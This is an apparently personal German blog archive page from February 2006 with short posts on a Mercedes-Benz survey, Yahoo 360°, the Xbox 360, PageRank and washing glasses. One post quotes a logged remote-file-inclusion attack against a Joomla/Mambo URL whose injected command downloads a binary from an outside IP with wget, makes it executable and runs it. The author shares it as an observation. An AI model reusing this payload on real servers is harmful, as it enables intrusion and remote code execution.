Archiv für den Monat: Februar 2006

Mixed Tape 11 ist da

Seit heute kann man das mittlerweile elfte Mixed Tape von Mercedes-Benz herunterladen.

Um an Kundendaten zu kommen das Mixed Tape besser zu machen, kann man an einer Umfrage teilnehmen, die allerdings stark nach auf-die-Schnelle-zusammengeschustert aussieht. Auf jeder der 26 Seiten gibt es Schaltflächen um vorwärts zur nächsten Seite zu kommen oder wieder zur vorherigen zurückzugehen. Nicht intuitiv daran ist, dass beide Beschriftungen einen Pfeil nach rechts enthalten.

Und bei der Frage “Welchen Bildungsabschluss haben Sie absolviert?” hätte ich mir eine Antwort “Hä? Abschluss absolvieren?” gewünscht. Manchmal klingen nicht ganz so sperrige Konstrukte besser.

Zuerst geht es um die Bewertung des Mixed Tape, dann stark um das Ausspähen des eigenen Interesses an Mercedes-Benz-Automobilen. So nett die Veröffentlichung von kostenloses Musik auch ist, es geht hierbei nicht um philanthropisches Handeln, sondern um Werbung und sich-in-Szene-setzen. Die Idee von Mercedes-Benz finde ich wirklich gut, aber dennoch würde ich mir kein Auto dieser Marke kaufen, weil es nicht meinem Geschmack entspricht.

Ausnahme: Der McLaren Mercedes SLR. Aber den kauft ja auch nicht jeder als vermeintliches Statussymbol, nur weil er ein bisschen Geld übrig hat.

Undankbarer Name

Wer häufig in seinen Logs wühlt, wird belohnt. Ungünstig ist es allerdings, wenn die Bezeichnung von Bots etwa wie beim Sqworm/2.9.85-BETA missverständlich ist und der Logwühler zuerst das P auf der Stirn sieht. Eine kurze Suche bringt dann diese Seite mit einem kurzen Abriss über den Robot ans Licht. Sqworm ist die Kurzform für squirmworm und indexiert nur die Seiten, tut aber nichts schlimmes.

Wer nennt denn einen Robot worm? Um etwas neues einzuführen und den durch das Internet krabbelnden Spidern einen sich schlängelnden Wurm entgegenzusetzen?

Bei Yahoo bloggen

Yahoo hat den deutschen Ableger seines Blogdienstes 360° gestartet. Ich habe nie bei irgendwelchen Anbietern gebloggt, aber der Dienst ist bestimmt mit Blogger, 20six und mehr-fallen-mir-nicht-ein vergleichbar. Das alles sieht aber doch sehr nach Kopie aus, wenn man Yahoos Namen mit dem Titel meines Blogs vergleicht.

Das ist alles nur geklaut, e-jo, e-jo…

Weil sich Yahoo 360° noch in der Betaphase befindet, mache ich auch schnell einen 71°-Blog-das!-Dienst auf, bin dann als erster mit Testen fertig und habe noch die niedrigere Nummer im Namen. Das zieht Blogger an.

[via Heise]

Ich möchte eine Xbox 360 haben.

Wenn ich ein neues elektronisches Spielzeug, ein Gadget, gesehen habe und es unbedingt haben will, dann bin ich immer Feuer und Flamme dafür und würde einen Haufen Geld ausgeben. Neuestes Spielzeug auf meinem Wunschzettel ist die Xbox 360 und ich habe sie mir nur noch nicht gekauft, weil ich dann in den letzten Wochen garantiert nichts für die Uni gemacht hätte. In dieser Zeit hat sich zum Glück die Besessenheit ein wenig gemildert und ich habe sogar schon überlegt, ob ich nicht warte, bis das Free60-Project eine Primzahl-Berechnungsmaschine mit 100 oder so GFLOPS aus der Spielkonsole gemacht hat oder bis eine verbesserte Version herauskommt. Es wird zumindest behauptet, dass sie kommen soll.

So gesehen ist es blöd, dass ich heute nach dem Shoppen in der Stadt durch die Elektronikmärkte geschlendert bin und nach einem weiteren Wunschzettelobjekt gesucht habe, dem Nokia N70 oder wie ich gerade sehe, dem N80. Jenes Objekt war zwar nicht zu finden, aber im Media-Markt standen zum Ausprobieren in der Spieleecke eine Xbox, eine Playstation Portable (PSP) und eine Xbox 360. Die ersten beiden interessieren mich überhaupt nicht, aber die Xbox 360 habe ich mir in ihrer Plexiglasvitrine genauer angeguckt und ein wenig mit dem Menü herumgespielt. Weil auch eine Demo von Project Gotham Racing 3 installiert war, habe ich ein Rennen großspurig mit mittlerem Schwierigkeitsgrad gestartet und bin mit der Bedienung über das Gamepad natürlich erstmal überhaupt nicht klar gekommen.

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Script-Kiddies am Werk

Der Beitrag könnte mit einem Augenzwinkern auch zu den Tipps fürs Leben gehören — wobei bislang alle Tipps wenig zur Lebensverbesserung beitragen. Sollen sie auch gar nicht.

Zum Thema: Wenn man sich bei einem größeren Anbieter einen Server mietet, muss man davon ausgehen, dass es nicht lange dauert, bis Script-Kiddies ihr Unwesen treiben. Dass Server hinter bekannten Internet-Adressen häufiger Ziel als kleine Blogs sind, war mir schon klar. Erschreckend ist allerdings, dass einfach in IP-Bereichen wie blöd irgendwelche Exploits probiert werden, in der Hoffnung irgendwie durch zu kommen.

Die folgende Zeile habe ich im Log gefunden:

/* Hinweis: Zur besseren Übersicht und aus ästhetischen Gründen (das Layout!) den Einzeiler nach jedem & umgebrochen */

/index.php?option=com_content
&do_pdf=1&
id=1index2.php?_REQUEST[option]=com_content
&_REQUEST[Itemid]=1
&GLOBALS=
&mosConfig_absolute_path=http://209.123.16.34/cmd.gif?
&cmd=cd%20/tmp;wget%20209.123.16.34/giculo;chmod%20744%20giculo;
./giculo;echo%20YYY;echo|

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Google Page Rank wissen wollen?

Unter Check Page Rank kann man eine beliebe URL eingeben und bekommt dann den Page Rank angezeigt, den Google dafür vergeben hat. Ich stehe mit 71grad auf Rang 3 von 10. Ich hätte mich sogar noch weiter unten angesiedelt, aber häufige Suchanfragen nach wmv f___1 und dergleichen bringen dieses Blog anscheinend nach oben.

[via Jan's Technik Blog via Google]

  1. Anzügliches Material habe ich nicht, im Repository sind lediglich einige WMV und eine MP3 mit f___ im Titel. []

Multi-Touch Interaction Experiments

Man sollte meinen, Maus und Tastatur seien der Weisheit letzter Schluß… Ein Konzept, für das ich keine Worte finde, sind die Multi-Touch Interaction Experiments. Dabei handelt es sich um ein Touchscreen, dessen Sensoren mehrere Kontakte gleichzeitig erfassen können. Damit kann man beispielsweise mit zwei Fingern ein Bild vergrößern und verkleinern, indem man die Bilddiagonale entlang fährt.

[via Planet RootForum]

Tipps fürs Leben: Gläser stapeln

Wenn man beim Abwaschen des Geschirrs die sauberen Gläser stapelt, sollte man sich beeilen und die Gläser schnell auseinandernehmen und abtrocknen, damit sie sich beim Abkühlen nicht selbst ineinander pressen. Auf gar keinen Fall sollte man ein kleines dünnes Glas in ein dickwandiges Longdrink-Glas stellen und lange warten. Letzteres hat empirischen Beobachtungen zufolge einen höheren Wärmedehnungskoeffizienten und zieht sich stärker als das kleine dünne Glas zusammen.

Konkreter: Bei dem Versuch, ein festsitzendes Ikea-Glas nach dem Erwärmen im Wasser ganz, ganz vorsichtig herauszuwackeln, ist bei dem hochgeschätzten teuren Longdrink-Glas von Leonardo ein Stückchen aus dem Rand gebrochen. Dabei bin ich doch so ein Feinmotoriker.

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